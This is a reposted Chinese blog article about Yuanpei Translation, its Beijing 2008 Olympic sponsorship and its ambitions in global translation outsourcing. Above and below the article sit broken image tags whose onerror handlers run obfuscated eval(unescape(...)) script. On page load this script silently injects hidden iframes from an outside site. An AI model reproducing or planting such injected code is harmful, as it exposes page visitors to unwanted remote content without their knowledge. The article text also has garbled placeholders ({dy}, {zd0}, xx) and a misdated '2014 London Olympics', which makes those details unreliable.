元培翻译:锁定全球语言服务外包市场- 安全防范- spacious - 和讯博客
元培翻译:锁定全球语言服务外包市场 [转贴 2009-12-03 21:37:40]   
元培翻译:锁定全球语言服务外包市场
0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zh_160_600.html%20frameBorder%3D0%20width%3D160%20scrolling%3Dno%20height%3D600%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml1%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">
"能够借奥运商机成长为世界品牌的,可能只有元培翻译这一家。"蒋小林毫不掩饰自己的野心。

      作为北京2008年奥运会笔译和口译服务供应商,元培翻译总经理蒋小林并不看好其他的国内奥运赞助商:其他企业也许因所在市场的特殊性,商机将随奥运结束而结束,因而借机成长为全球化企业、世界性品牌的可能性非常小。

      显然,蒋小林对元培所在的语言服务市场信心十足。

      他的理由有两个:一、元培的定位在于成长为全球化的语言服务供应商。二、服务外包市场在国外很成熟,而这个市场在国内才刚刚起步。

      服务外包市场的形成,主要是由于知名跨国企业因业务发展的需要,会产生大量语言翻译服务,但从企业成本考虑,这些需求往往会通过服务外包来完成。

      以微软为例,由于其软件行销世界各地,产生大量世界各种语种翻译的需求,xx一项,每年微软为语言服务支出达到十几亿美金。而国内的企业随着全球化扩张的步伐,类似需求也逐渐增多。

      据新华社资料,中国外文局副局长黄友义在出席中国翻译工作者协会第5届全国理事会时公布,2003年中国翻译产值达110亿元,他指出,北京2008年奥运会和上海世博会将为中国翻译业带来前所未有的机遇。在发达国家城市中,外语和本地语言的使用比例一般为1:7。到2008年,北京的这一比例可能达到1:10。

      国际译联根据每年发生的文字资料处理量和涉及语言服务的国际会议场次推算,2004年全球翻译市场的年产值超过130亿美元,亚太地区占30%,而中国市场约为120亿元人民币。而全球翻译市场年产值预计将在2008年达到300亿美元左右。

      赞助奥运xxx

      对元培翻译来说,奥运绝不是一张轻易打出的牌。

      毕业于中文系的蒋小林这样总结自己与同业老总的不同之处:别人在提供服务,我在经营服务。

      元培翻译与北大之间颇有历史渊源,其前身是北大内设机构企业管理中心,专门为企业提供咨询服务,同时也提供翻译业务。后几经独立、改制,元培教育公司正式成立,它属于有限责任公司,既有自然人股东,又有法人股东。而法人股东则指去年底注资进入的风险投资商。

      虽然在2002年才由官员身份下海,但蒋小林早已为元培打造了独特的发展之路。

      蒋小林并不讳言,在他的规划中,2008年前最重要是做好两件事:{dy},在中国翻译界寻找一个合适的经营模式;第二,赞助奥运会。

      为了寻找合适的经营方式,改变作坊式生产模式,他设立标准,制定语言服务的品质保障和控制体系。同时,设立了专职的翻译专业人才培训模式。在市场销售方面,元培瞄准的是世界500强企业和国内知名大企业,目前,其收入的70%—80%来自大客户销售,预计2008年销售收入达2亿元。

      "其实赞助奥运对我们来说,没有任何风险。"蒋的理由有三:

      从品牌经营的角度上来讲,赞助奥运会的效果比在电视媒体上投放广告效果更好,但价格却更低。蒋小林算过一笔账,2000万人民币如果在电视台做广告,维持不到4个月。而奥运会供应商的头衔不但响亮,而且可以保持好几年。

      此外,奥运会本身就是项目,也有约一亿多元产值的翻译需求,按照翻译行业40%的毛利润,20%的净利润来说,所赚的钱xx可以支付这笔赞助花费,同时还可以收获一个影响力日益增加的品牌。

      第三,元培通过奥运会网聚了一大批的专家资源,这在劳动密集型企业的翻译行业中占据了制高点。

      蒋小林之所以强调品牌,是因为看到了任何市场发展的规律:"任何行业初期发展时资源很分散,大家都有饭吃,但发展到一定的程度时,就会向某一个品牌集中。目前,元培成长为全球化公司,{zd0}的障碍不是缺人,最缺的就是品牌形象。"

      为国际化铺路

      弗里德曼的<世界是平的>对蒋小林影响深刻。事实上,正是因为互联网打破了地域限制,语言服务突破了疆界限制,服务趋向大一统化,才使元培看到了商机。

      国外外包服务市场日趋成熟,然而劳动力成本数倍于中国。同样的语言服务,在欧洲和美洲价格更高。因此,元培的市场机会在国外,劳动力成本无疑是优势。

      "中国的服务企业缺少全球性的品牌,品牌的内涵是具有严格的服务体系和规范的服务流程,它表示任何东西都是可控的。"这也正是之前,元培发力打造企业质量和服务品质标准化流程的重要原因。

      选择赞助奥运,除了打造品牌,元培还希望能亲身参与一届奥运会来检验元培的服务经验,了解如何才能做得更好。

      为取得竞标成功,蒋小林数次邀请东京奥运会和悉尼奥运会语言服务负责人学习取经。在招标过程中,除了必要的资金保证之外,唯独元培向奥组委出示了厚厚一本语言服务工作规划和建议书,最终得以在众多实力更为雄厚的上市公司中脱颖而出。

      北京2008年奥运会将提供55种语言服务,既包括志愿者服务,也包括专业译员服务。这也是元培针对奥运期间的语言使用情况进行分析,最终确定数量及方式,并向奥组委国际部建议的。元培的职责主要是为了保障奥运官方文件的翻译,以及满足各种会议的需要。

      元培目前正在全力争取2010年世博会的服务机会。而按照蒋小林的规划,2011年到2015年他也只做两件事——争取中标2014年伦敦奥运会和联合国的语言服务招标。

      元培还将赞助首次在中国进行的全球翻译大会,这是全球翻译行业的{dj0}会议。有了奥运会提供商的光环,元培也希望能加深全球翻译行业对品牌的认知。

      在获得风险投资之后,元培也已经把收购同行提上了议事日程。与公司战略相关,元培的收购将侧重于欧洲公司,在国内则将侧重于并购培训机构。

      在蒋小林看来,中国有可能成为世界翻译外包服务的下一个重点,相比印度,中国拥有更好的基础设施条件,拥有更好的网络到达率,能够更好地满足外企的需求。

      "我们目前的思路很清晰:翻译市场侧重国外,翻译专职培训市场立足国内,主要在品牌经营、流程管理和控制体系上发力,发展成国际化的公司。"蒋说。

      

      

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zf_180_150.html%20width%3D180%20height%3D150%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml2%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">

郑重声明:资讯 【元培翻译:锁定全球语言服务外包市场- 安全防范- spacious - 和讯博客】由 发布,版权归原作者及其所在单位,其原创性以及文中陈述文字和内容未经(企业库qiyeku.com)证实,请读者仅作参考,并请自行核实相关内容。若本文有侵犯到您的版权, 请你提供相关证明及申请并与我们联系(qiyeku # qq.com)或【在线投诉】,我们审核后将会尽快处理。
—— 相关资讯 ——